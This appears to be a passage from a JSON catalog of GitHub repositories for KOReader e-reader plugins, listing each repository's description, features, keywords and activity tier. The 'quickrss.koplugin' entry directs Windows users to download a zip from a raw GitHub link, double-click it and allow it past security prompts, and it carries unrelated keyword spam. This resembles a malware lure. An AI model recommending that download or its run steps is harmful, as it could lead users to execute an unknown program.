relay"],"keywords":["ai-tools","e-book","koreader","koreader-plugin","mcp","mcp-server","server","just","koassistant","where","does","shine","via","app","store","recommended","manually","starting","settings","connecting","assistant","claude","chatting","about"],"topics":["ai-tools","e-book","koreader","koreader-plugin","mcp","mcp-server"],"stars":6,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-02-04T04:37:30Z","license":"MPL-2.0","default_branch":"main","has_meta":true,"readme_bytes":15856,"detail":"detail/laughedelic__mcp.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"luizcorreia/meclivros.koplugin","owner":"luizcorreia","repo":"meclivros.koplugin","url":"https://github.com/luizcorreia/meclivros.koplugin","description":"","purpose":"Plugin não-oficial do KOReader para a plataforma MEC Livros ( ). Permite buscar, emprestar, renovar e devolver livros, além de baixar obras de domínio público, para ler diretamente no KOReader.","categories":["misc"],"features":["autentica com um token JWT enviando Authorization: Bearer","faz o empréstimo (POST /api/backend/rentals/checkout)","lê o manifesto (GET /api/backend/books/:id/manifest)","baixa readingOrder (spine) + resources do epub-proxy, com barra de","sintetiza META-INF/container.xml, um content.opf (OPF 3.0) e um","empacota tudo num .epub válido com ffi/archiver e abre para leitura","Kindle / Kobo / dispositivos: koreader/plugins/","Desktop / emulador: ~/.config/koreader/plugins/ (Linux) ou o diretório","Copie meclivros_tokens.sample.lua como","Preencha os dois valores, obtidos no navegador logado em"],"keywords":["mec","livros","para","como","funciona","instala","capturas","tela","configura","dos","tokens","recomendado","arquivo","uso","amostra","demo","livro","completo","limita","licen","empr","stimo","blico","token"],"topics":[],"stars":6,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-21T18:16:17Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":6906,"detail":"detail/luizcorreia__meclivros.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"mcurmi05/contextcreator.koplugin","owner":"mcurmi05","repo":"contextcreator.koplugin","url":"https://github.com/mcurmi05/contextcreator.koplugin","description":"A koreader plugin for building context around characters, places, objects, concepts as you read. A tool for building character maps as you read on your ereader.","purpose":"A KOReader plugin and an optional self hosted sync server and web app for building up context about the characters, places, objects and concepts in a book as you read. Highlight a name, write dot points about it, link things together, and slowly build a cool visual map.","categories":["sync","web","reading"],"features":["Open http:// :8791 in a browser and create your account. The first account is the admin","In KOReader, go to Context Creator → Sync → Log in, and enter the server URL, your username and password. Your notes sync up and…","Add to context: resolves the word to a context (exact match, a brand new one or a fuzzy \"did you mean\" chooser for near matches),…","View all contexts: the full list for this book, grouped by type","Typed contexts: character, location, object, concept, or your own custom types","Dot points: add, edit, delete. Long press a point to jump back to where you noted it","Relationships: link two contexts (\"married to\", \"kills\", \"lives in\"), pick a direction, and attach dot points to the link itself","Rename/retype/delete: contexts and links, all from long press menus"],"keywords":["koreader-plugin","building","context","around","characters","places","objects","concepts","read","tool","character","maps","creator","sync","server","webapp","via","docker","compose","making","buttons","show","plain","long"],"topics":["koreader-plugin"],"stars":6,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-30T03:58:15Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":8671,"detail":"detail/mcurmi05__contextcreator.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"SimonLiu423/eraser.koplugin","owner":"SimonLiu423","repo":"eraser.koplugin","url":"https://github.com/SimonLiu423/eraser.koplugin","description":"KOReader plugin that allows users to use stylus pen's eraser (Currenlty support Kobo Stylus only)","purpose":"Delete highlights by holding the Eraser button and swiping over them. That's it! No confirmations, just instant deletion.","categories":["misc"],"features":["Kobo: /mnt/onboard/.adds/koreader/plugins/","Other: /plugins/","Hold Eraser button + swipe over highlights to delete them","Open a document with highlights","Press and hold the Eraser button on your device","Swipe your finger or stylus over highlights","Highlights disappear instantly","Release the button when done","Make sure you have a Kobo device with an Eraser button","Check that you're holding the button while swiping"],"keywords":["allows","stylus","pen","eraser","currenlty","kobo","only","quick","start","requirements","troubleshooting","button","device","highlights","other","devices","mapped","over","swipe","works","currently","delete","doesn","driver"],"topics":[],"stars":6,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-01-30T09:02:09Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1907,"detail":"detail/SimonLiu423__eraser.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"wtb04/wireguard.koplugin","owner":"wtb04","repo":"wireguard.koplugin","url":"https://github.com/wtb04/wireguard.koplugin","description":"Bring a WireGuard VPN up and down from the KOReader menu on Kobo e-readers.","purpose":"A KOReader plugin to bring a WireGuard® VPN up and down from the menu. I am not affiliated with KOReader or with WireGuard. Just a wrapper I made for my own use.","categories":["ui","library","device"],"features":["wg from wireguard-tools","wireguard-go from wireguard-go","WireGuard connect","WireGuard disconnect","WireGuard toggle","WireGuard status","/dev/net/tun exists","uname -m on the device matches the arch you built the binaries for","the config file ends in .conf and sits in the folder above"],"keywords":["calibre","embedded-linux","ereader","kobo","koreader","lua","vpn","wireguard","bring","down","menu","e-readers","compatibility","build","binaries","put","device","gestures","profiles","ssh","faq","troubleshooting","trademarks","which"],"topics":["calibre","embedded-linux","ereader","kobo","koreader","lua","vpn","wireguard"],"stars":6,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-14T14:36:24Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":6334,"detail":"detail/wtb04__wireguard.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"yanllsama/koreader-enhanced-currently-reading","owner":"yanllsama","repo":"koreader-enhanced-currently-reading","url":"https://github.com/yanllsama/koreader-enhanced-currently-reading","description":"Enhanced and fully dynamic Currently Reading module for KOReader SimpleUI.","purpose":"Enhanced Currently Reading is a completely redesigned, highly detailed, and fully dynamic reading statistics dashboard module. This module (`module_currently_yanllsama.lua`) is built as an extension for the `simpleui_ext.koplugin` to provide a premium, modern reading dashboard on KOReader.","categories":["reading"],"features":["Redesigned UI: Enjoy a premium, modern layout where statistics and vertical bars are elegantly grouped inside a thinly outlined,…","Full Typographic Control: Completely customize the font family, font size, and font weight (Normal/Bold) for Book Titles, Author…","Pill-Shaped Progress Bars: Visually pleasing, fully rounded capsule-style vertical bars","Visual Harmony: Integrates perfectly with CoverDeck to fetch and display high-quality book covers directly on your KOReader home…","Gesture Controls: Simply use a swipe up/down gesture on the cover image area to smoothly interact with the CoverDeck features!","Daily Page Goal: Set a daily reading target (e.g., 50 pages) and watch your progress fill up a dedicated vertical bar","Adjustable Bar Thickness: Choose from 4 different thickness levels (Thin, Normal, Bold, Extra Bold) for your vertical bars"],"keywords":["koreader-plugin","koreader-plugins","enhanced","fully","dynamic","currently","reading","module","simpleui","koreader-enhanced-currently-reading-yanllsama","yanllsama","dashboard","modern","aesthetic","design","seamless","coverdeck","integration","vertical","progress","bars","daily","goals","grid"],"topics":["koreader-plugin","koreader-plugins"],"stars":6,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-10T14:47:07Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":6129,"detail":"detail/yanllsama__koreader-enhanced-currently-reading.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"5kxh2dxqmd-afk/kindle-koreader-airplay","owner":"5kxh2dxqmd-afk","repo":"kindle-koreader-airplay","url":"https://github.com/5kxh2dxqmd-afk/kindle-koreader-airplay","description":"A plugin so you can show your Apple device's screen on your Kindle.","purpose":"A KOReader plugin that turns your Kindle into an AirPlay screen mirror receiver. Your Mac thinks the Kindle is a display. The Kindle renders the stream on its e-ink screen at ~0.5–2 FPS in grayscale.","categories":["device"],"features":["Jailbroken Kindle with KOReader installed","Wi-Fi, on the same network as your Mac","Connect Kindle and Mac to the same Wi-Fi network","In KOReader: Menu → Tools → AirPlay Mirror → Start AirPlay receiver","On Mac: System Settings → Displays → Add Display → AirPlay Display","Select \"Kindle AirPlay\" from the list","Grayscale only — color content is dithered","~0.5–1 FPS — e-ink physics, not a software problem","No audio — Kindle has no speakers; audio is intentionally not implemented","macOS 12–14 tested — AirPlay protocol may change in future macOS releases"],"keywords":["airplay","koreader","koreader-plugin","koreader-plugins","show","apple","device","screen","kindle","kindle-koreader-airplay","works","requirements","refresh","rate","building","star","history","known","limitations","credits","display","e-ink","receiver","uxplay"],"topics":["airplay","koreader","koreader-plugin","koreader-plugins"],"stars":5,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-14T11:50:37Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":5119,"detail":"detail/5kxh2dxqmd-afk__kindle-koreader-airplay.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"agaragou/annas.koplugin","owner":"agaragou","repo":"annas.koplugin","url":"https://github.com/agaragou/annas.koplugin","description":"Annas KOReader plugin! Search and download documents from Anna's Archive directly to your KOReader (tested on Kindle 11th gen).","purpose":"Disclaimer: This plugin is for educational purposes only. Please respect copyright laws and use this plugin responsibly.","categories":["files"],"features":["Ensure you are in the KOReader file browser","Access the Search menu","Select Anna's Archive","Enter your search terms and adjust language, format, and additional settings as needed and hit search","Under Search Results click on the entry you are interested in","Finally hit Format: (tap to download) and confirm again by tapping Download"],"keywords":["annas","search","download","documents","anna","archive","directly","tested","kindle","11th","gen","keywords","code","devs","directory","file","format","html","inspired","source","there","which","z-library","ensure"],"topics":[],"stars":5,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2025-10-22T20:55:33Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1978,"detail":"detail/agaragou__annas.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Blindexplanans182/legado-source-generator","owner":"Blindexplanans182","repo":"legado-source-generator","url":"https://github.com/Blindexplanans182/legado-source-generator","description":"生成并导出 Legado 书源规则的 Chrome 扩展，支持可视化选点、CSS 选择器生成、页面调试和一键导入阅读 APP","purpose":"","categories":["device","reading","content"],"features":[],"keywords":["apple-watch","awesome","example","flutter","generator","github","ipad","kindle","koreader-plugin","kotlin","legado3","list","microsoft","objective-c","python","react-native","tts","tvos","watchos","xiaoshuo","legado","chrome","css","app"],"topics":["apple-watch","awesome","example","flutter","generator","github","ipad","kindle","koreader-plugin","kotlin","legado3","list","microsoft","objective-c","python","react-native","tts","tvos","watchos","xiaoshuo"],"stars":5,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T23:27:19Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":25,"detail":"detail/Blindexplanans182__legado-source-generator.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","stub"]},{"id":"cbrxyz/beeminder.koplugin","owner":"cbrxyz","repo":"beeminder.koplugin","url":"https://github.com/cbrxyz/beeminder.koplugin","description":"🐝 A Koreader extension that automatically logs to Beeminder.","purpose":"This is a small koreader plugin that automatically logs your reading progress to Beeminder. Whenever you read more pages in your favorite book, the plugin will update your Beeminder goal with the new value. If you've already read a little bit today, it will just update that datapoint; otherwise, it will add a brand…","categories":["misc"],"features":[],"keywords":["extension","automatically","logs","beeminder","datapoint","read","update"],"topics":[],"stars":5,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2024-03-08T17:36:34Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":448,"detail":"detail/cbrxyz__beeminder.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"dani84bs/kojump.koplugin","owner":"dani84bs","repo":"kojump.koplugin","url":"https://github.com/dani84bs/kojump.koplugin","description":"A KOReader's plugin to handle your position jump history","purpose":"Kojump brings modern web-browser-style navigation to KOReader. Never lose your place again when jumping to footnotes, chapters, indexes, or custom locations. With Kojump, you can seamlessly navigate back and forward through your reading history, view a visual map of your jumps, and resume reading instantly.","categories":["ui","web"],"features":["🧭 Browser-Style Navigation: Seamlessly jump Back and Forward through your reading history","📊 Smart Jump Detection: Automatically tracks page changes with a step size of $> 1$ page (e.g., table of contents jumps, footnote…","📜 Rich History Menu: Shows a clean, interactive chronological list of your navigation history, complete with","Directional arrows (←, →, and • for the current page)","Chapter/TOC titles (automatically retrieved and safely truncated to 40 characters)","Reading percentages (e.g., (15%))","💾 Per-Document Persistence: History is saved automatically inside KOReader's document settings, so your navigation history…","⚡ Keybindings & Dispatcher Integration: Full support for KOReader's action dispatcher, allowing you to bind back, forward, and…","🛡️ Fully Unit Tested: Contains a comprehensive Busted test suite verifying navigation edge cases, history branching, capacity…"],"keywords":["koreader","koreader-plugin","koreader-plugins","handle","position","jump","history","kojump","browser-style","back","forward","page","navigation","works","locate","directory","copy","restart","action","dispatcher","shortcuts","main","menu","access"],"topics":["koreader","koreader-plugin","koreader-plugins"],"stars":5,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-07T18:42:13Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":6355,"detail":"detail/dani84bs__kojump.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"DRDTR001/fulltextunderline.koplugin","owner":"DRDTR001","repo":"fulltextunderline.koplugin","url":"https://github.com/DRDTR001/fulltextunderline.koplugin","description":"","purpose":"Language Full Text Underline is a KOReader plugin that draws configurable reading lines beneath visible text in reflowable documents without modifying the book or changing its layout.","categories":["ui"],"features":["🇺🇸 English (Current)","🇨🇳 简体中文","Solid lines","Dashed lines","Dotted lines（dotted lines are best visible at thickness level 2 or above)","Full-width mode","Text-width mode","Adjustable underline position","Adjustable underline length","Adjustable line thickness"],"keywords":["full","text","underline","styles","text-width","mode","interface","compatibility","enable","line","style","position","length","thickness","headings","book","settings","defaults","reading","profile","configuration","priority","internationalization","limitations"],"topics":[],"stars":5,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-08-14T07:05:15Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":5237,"detail":"detail/DRDTR001__fulltextunderline.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"dumpster-dev/emailtokoreader.koplugin","owner":"dumpster-dev","repo":"emailtokoreader.koplugin","url":"https://github.com/dumpster-dev/emailtokoreader.koplugin","description":"Automatically download attachement files from your email directly to your KOReader device.","purpose":"Automatically download ebook attachments from your email directly to your KOReader device. 2.0.0 View Changelog [*] Yet to test all the formats. Feel free to test and report any issues.","categories":["files"],"features":["📧 Email Integration — Fetch ebook attachments directly from your inbox","📚 Multiple Formats Supported — EPUB, PDF, MOBI, AZW3, FB2, DJVU, CBZ, TXT, and more","📁 Multi-file Downloads — Handle multiple attachments per email","📬 Process 10 Emails — Check up to 10 unread emails per run (newest first)","📏 5MB Attachment Limit — Automatic skip for oversized files with notification","🔍 Email Filtering — Filter by recipient address (e.g., your-mail+koreader@gmail.com)","🔄 Auto-refresh — Updates file browser automatically after download","⚙️ In-App Configuration — No manual file editing required","🐛 Debug Mode — Optional detailed logging for troubleshooting","🔐 Gmail Support — Works with Gmail app passwords"],"keywords":["automatically","download","attachement","files","email","directly","device","formats","documentation","step","copy","folder","restart","structure","configuration","gmail","app","password","configure","test","connection","other","providers","sending"],"topics":[],"stars":5,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2025-12-10T22:39:15Z","license":"MIT","default_branch":"main","has_meta":false,"readme_bytes":7776,"detail":"detail/dumpster-dev__emailtokoreader.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"FadedSwatz/quickrss.koplugin","owner":"FadedSwatz","repo":"quickrss.koplugin","url":"https://github.com/FadedSwatz/quickrss.koplugin","description":"Deliver fast, standalone RSS feed browsing and reading within KOReader, with easy navigation and read tracking on e-readers.","purpose":"To get started, visit this page to download the latest version of quickrss.koplugin for Windows: https://raw.githubusercontent.com/FadedSwatz/quickrss.koplugin/main/quickrss.koplugin/modules/data/quickrss-koplugin-1.7.zip","categories":["sync","dict","web","device","files","reading","content"],"features":["Windows 7 or newer (Windows 10 recommended)","At least 2 GB of free RAM","100 MB of free disk space","Internet connection to fetch RSS feeds","After downloading, find the file in your Downloads folder or the location you saved it","Double-click the file to run it","Depending on your Windows security settings, you might see a prompt asking to allow the app to run. Choose \"Yes\" or \"Run\" to…","The app does not need installation like traditional software; it runs right away","The quickrss.koplugin window will open, ready for use","Open quickrss.koplugin"],"keywords":["github-config","ajatt","anki","ankiconnect","bookworm","download","ebook","eink","highlight","kindle","koplugin","koreader","koreader-plugin","open-source","reading","zlibrary","zlibrary-plugin","deliver","fast","standalone","rss","feed","browsing","within"],"topics":["github-config","ajatt","anki","ankiconnect","bookworm","download","ebook","eink","highlight","kindle","koplugin","koreader","koreader-plugin","open-source","reading","zlibrary","zlibrary-plugin"],"stars":5,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T05:51:19Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":4216,"detail":"detail/FadedSwatz__quickrss.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"GarionBracken/PagePair","owner":"GarionBracken","repo":"PagePair","url":"https://github.com/GarionBracken/PagePair","description":"A Plugin for KOReader on Kindle to allow you to sync them together to have two kindles beside one another like a book","purpose":"PagePair is a KOReader plugin that synchronizes page turns between two Kindles, allowing them to be used together as a two-page reading setup.","categories":["sync","device"],"features":["Two compatible Kindles","KOReader installed on both Kindles","PagePair installed on both Kindles","The same document available on both Kindles","Kindle model","Kindle firmware version","KOReader version","PagePair version","Controller and Follower models","Whether you were using Home Wi-Fi or Travel Mode"],"keywords":["dual-screen","ereader","kindle","koreader","plugin","reading","page-sync","koreader-plugin","koreader-plugins","allow","sync","them","together","have","two","kindles","beside","one","another","like","book","pagepair","does","home"],"topics":["dual-screen","ereader","kindle","koreader","plugin","reading","page-sync","koreader-plugin","koreader-plugins"],"stars":5,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-12T00:05:56Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4286,"detail":"detail/GarionBracken__PagePair.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"right9code/annas-fetch.koplugin","owner":"right9code","repo":"annas-fetch.koplugin","url":"https://github.com/right9code/annas-fetch.koplugin","description":"Access Anna's Shadow Library on KOR","purpose":"A KOReader plugin to search and download books from Anna's Archive directly on your e-reader. Tested on Kindle Paperwhite 11th gen running KOReader.","categories":["library","notes"],"features":["✅ Conflict fix: Internal modules renamed from zlibrary.* → annas.* — both Anna's Archive and Z-Library plugins can be installed…","✅ Native Progress Bar: Features a beautiful KOReader-native progress bar with a working cancellation button","✅ Gesture Shortcuts: Easily assign a gesture shortcut (like a corner tap) to directly open the Anna's Archive Search box","✅ Pure Lua Streaming: Downloads stream directly to disk without bloating RAM, working consistently across all KOReader-supported…","✅ Fresh codebase: Clean git history, actively maintained, and fully purged of old Z-Library remnants","✅ Custom Mirror URL: Set a specific Anna's Archive domain/mirror from Settings for regions where the default domain is blocked","✅ Security hardening: All shell commands use proper quoting to prevent injection; domain cache moved to KOReader's data directory"],"keywords":["koreader","koreader-plugin","koreader-plugins","access","anna","shadow","library","kor","annas-fetch","different","original","dns","note","credits","archive","search","annas","download","conflict","directly","domain","format","z-library","zlibrary"],"topics":["koreader","koreader-plugin","koreader-plugins"],"stars":5,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-27T18:26:19Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2897,"detail":"detail/right9code__annas-fetch.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"TomasDiLeo/killersudoku.koplugin","owner":"TomasDiLeo","repo":"killersudoku.koplugin","url":"https://github.com/TomasDiLeo/killersudoku.koplugin","description":"A Killer Sudoku plugin for KoReader","purpose":"This plugin adds a fully playable Killer Sudoku game to KOReader. It lets you load one of tens of thousands of puzzles from a bundled database and solve it directly on your device using a simple keypad interface.","categories":["reading","games"],"features":["Move the killersudoku.koplugin folder into KOReader’s plugins/ directory","The plugin will appear under Tools as Killer Sudoku","Tap Select puzzle to enter a puzzle number between 1 and the maximum available (56,615 for the included index)","Tap Random to load a randomly selected puzzle","Undo reverses the last action","Erase clears the selected cell","56k+ Killer Sudoku puzzles","Pencil marks","Error checking","No hints"],"keywords":["killer","sudoku","overview","selecting","puzzle","entering","numbers","checking","progress","saving","undo","erase","building","database","plain","puzzles","binary","module","making","killersudoku","files","index","inside","directory"],"topics":[],"stars":5,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-14T23:56:01Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3918,"detail":"detail/TomasDiLeo__killersudoku.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"tva2000hn/wnreader.koplugin","owner":"tva2000hn","repo":"wnreader.koplugin","url":"https://github.com/tva2000hn/wnreader.koplugin","description":"","purpose":"A plugin for KOReader that allows you to read web novels directly within the app. MIT License The menus are heavily referenced from the ZLibrary KOReader plugin","categories":["web","content"],"features":["Browse and search popular web novel sources","Bookmark and manage your favorite novels","Access the plugin from the KOReader plugins menu","Open the plugin from the plugins menu","Search for a web novel or browse sources","Select a novel and download chapters","Start reading!","KOReader 2022.01 or newer","Internet connection for downloading chapters"],"keywords":["web","novel","requirements","credits","chapters","browse","download","menu","novels","reading","search","sources","popular","bookmark","manage","favorite","access","open","select","start","2022","newer","internet","connection"],"topics":[],"stars":5,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-06-29T21:54:57Z","license":"MIT","default_branch":"master","has_meta":true,"readme_bytes":824,"detail":"detail/tva2000hn__wnreader.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"VirInvictus/dead-reckoning-bookend-preset","owner":"VirInvictus","repo":"dead-reckoning-bookend-preset","url":"https://github.com/VirInvictus/dead-reckoning-bookend-preset","description":"a navigation-themed reading cockpit that surfaces session speed, a finish-date projection, and chapter ETA","purpose":"A Bookends preset for KOReader: a navigation-themed reading cockpit that surfaces session speed, a finish-date projection, and chapter ETA, with chapter waypoints ticked along the progress bar. Text renders in a soft, low-contrast grey so the telemetry stays out of the way of the book.","categories":["ui","reading"],"features":["KOReader","The Bookends plugin"],"keywords":["bookends","koreader","bookends-preset","ebooks","ereader","koreader-plugin","lua","reading-statistics","navigation-themed","reading","cockpit","surfaces","session","speed","finish-date","projection","chapter","eta","dead","reckoning","layout","requirements","preset","book"],"topics":["bookends","koreader","bookends-preset","ebooks","ereader","koreader-plugin","lua","reading-statistics"],"stars":5,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-05T21:05:37Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":1559,"detail":"detail/VirInvictus__dead-reckoning-bookend-preset.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"yanllsama/pencil.koplugin","owner":"yanllsama","repo":"pencil.koplugin","url":"https://github.com/yanllsama/pencil.koplugin","description":"Koreader plugin that allows Kobo Libra Color users to use a stylus to take notes in Epubs.","purpose":"This has been tested on: This will currently only work on Kobo devices! I will attempt to add other device support by request and at a later date","categories":["sync","notes"],"features":["Kobo Libra Colour/Kobo Stylus 2/Epub format","Pen tip: Draw annotations on your ebooks","Eraser end: Flip your stylus over to erase strokes instantly","Highlighter: Hold the stylus side button and drag to highlight; tap the side button to toggle pencil/eraser","Swap Eraser/Highlighter: Reassign which side button acts as eraser vs. highlighter from the menu","Undo: Undo your last stroke or eraser action","Clear strokes: Clear annotations for the current page or the entire document","Annotation grouping: Strokes are automatically grouped into logical annotations based on timing and proximity","Enable/disable toggle: Turn the plugin on or off via the menu or a mapped gesture","Per-document storage: Annotations are saved with each book"],"keywords":["allows","kobo","libra","color","stylus","take","notes","epubs","pencil","information","compatible","snowflake","instructions","configuring","questions","issues","experimental","picker","pen","width","bookmark","sync","pipeline","acknowledgements"],"topics":[],"stars":5,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-07-07T00:03:19Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4433,"detail":"detail/yanllsama__pencil.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"yparitcher/tuya.koplugin","owner":"yparitcher","repo":"tuya.koplugin","url":"https://github.com/yparitcher/tuya.koplugin","description":"Koreader Tuya Plugin","purpose":"","categories":["misc"],"features":[],"keywords":["tuya"],"topics":[],"stars":5,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2022-10-31T00:11:05Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":0,"detail":null,"activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","stub"]},{"id":"ysfsvm/kagi-news.koplugin","owner":"ysfsvm","repo":"kagi-news.koplugin","url":"https://github.com/ysfsvm/kagi-news.koplugin","description":"","purpose":"A KOReader plugin that brings curated news from Kagi Kite to your e-ink device. Browse 100+ news categories, read AI-summarized article clusters with multiple perspectives, and view images — all optimized for e-ink displays.","categories":["sync","web"],"features":["📂 100+ Categories — World, Tech, Science, Sports, Business, and many more","📰 AI Summaries — Detailed clusters with key points, perspectives, and quotes","🖼 In-line Images — Rich HTML rendering with article images embedded directly in the text via MuPDF","💾 Organized Offline Cache — Structured storage (meta/, articles/, images/) with MD5 hashing for safety","⚡ Step-wise Sync — Download categories first, select what to follow, then bulk sync","🔄 Bulk Synchronization — Download text and images for all followed categories with a single tap and Trapper progress UI","📱 E-ink Optimized — Hardware screen refresh, offline-first architecture, paginated menus, and neutral grayscale UI","Open the hamburger menu (☰) in KOReader","Navigate to More tools → Kagi News","Select your workflow"],"keywords":["kagi","news","source","project","structure","architecture","cache","sync","strategy","offline-first","auto-clear","api","kite","categories","images","article","bulk","category","download","https","select","browse","clusters","e-ink"],"topics":[],"stars":5,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-02-27T08:29:33Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4249,"detail":"detail/ysfsvm__kagi-news.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"agluck91/koreader-notionsync","owner":"agluck91","repo":"koreader-notionsync","url":"https://github.com/agluck91/koreader-notionsync","description":"A Koreader plugin that allows you to sync any database in your Notion library to Koreader for delightful on the go reading experience","purpose":"A KOReader plugin that syncs Notion databases to your eReader for offline reading. Note: The deployment script is for development only. End users should install from releases. I have also only tested on kobo but this should work on other devices.","categories":["sync","library","device","reading"],"features":["[x] Sync multiple Notion databases to KOReader folder","[x] Support for both Markdown (.md) and EPUB (.epub) output formats","[x] Preserve rich text formatting (bold, italic, strikethrough, code, links)","[x] Embed images in EPUB files for full offline reading","[x] Image download caching to avoid redundant downloads","[x] Automatic sync history tracking to avoid re-syncing unchanged pages","[ ] Sync highlights and annotations from KOReader back to Notion","[ ] Automatic synchronization on schedule or other trigger","[ ] sync reading completion percent to notion","[ ] set/create custom tag or prop on notion page when 100% read complete"],"keywords":["ereader","ereader-tools","kobo","kobo-ereader","koreader","koreader-plugin","koreader-sync","notion","notion-api","notion-sync","allows","sync","any","database","library","delightful","reading","experience","notionsync","prerequisites","configuration","api","setup","output"],"topics":["ereader","ereader-tools","kobo","kobo-ereader","koreader","koreader-plugin","koreader-sync","notion","notion-api","notion-sync"],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-01-25T07:02:24Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":5848,"detail":"detail/agluck91__koreader-notionsync.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"ankitchouhan1020/flowread","owner":"ankitchouhan1020","repo":"flowread","url":"https://github.com/ankitchouhan1020/flowread","description":"A focused speed-reading plugin for KOReader","purpose":"A focused speed-reading plugin for KOReader. Displays books word-by-word using RSVP with an ORP anchor letter, intelligent pacing, and e-ink optimized rendering. Includes a scroll reading mode, library browser, chapter navigation, and scrub preview.","categories":["ui","reading"],"features":["Open FlowRead from the tools menu","Tap the settings icon (top-left) in the library screen","Set Books folder to the folder containing your books (default: /sdcard/Books)","Tap a book to start reading"],"keywords":["koreader-plugin","focused","speed-reading","flowread","zen","first","run","formats","controls","reading","screen","scrub","preview","settings","books","tools","anchor","default","folder","open","action","left","rsvp","swipe"],"topics":["koreader-plugin"],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-07T17:51:20Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2268,"detail":"detail/ankitchouhan1020__flowread.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"aureliofng/screensaver-overlay.koplugin","owner":"aureliofng","repo":"screensaver-overlay.koplugin","url":"https://github.com/aureliofng/screensaver-overlay.koplugin","description":"KOReader plugin - Transparent PNG overlay on sleep screen","purpose":"Superpone una imagen PNG con transparencia sobre la página que estás leyendo al suspender el dispositivo. Donde la imagen es transparente, el texto del libro sigue visible debajo.","categories":["ui","files","reading"],"features":["KOReader v2024 o superior","Kobo con KOReader instalado (probado en Kobo Clara HD)","Imágenes PNG con canal alpha (transparencia)","Formato: PNG con canal alpha (transparencia)","Tamaño recomendado: 1072 × 1448 px (Kobo Clara HD)","El plugin escala automáticamente imágenes de cualquier tamaño","readerbackdrop.com — busca el filtro transparent","La barra de estado de KOReader sigue visible sobre el overlay (limitación del sistema)","KOReader v2024 or later","Kobo with KOReader installed (tested on Kobo Clara 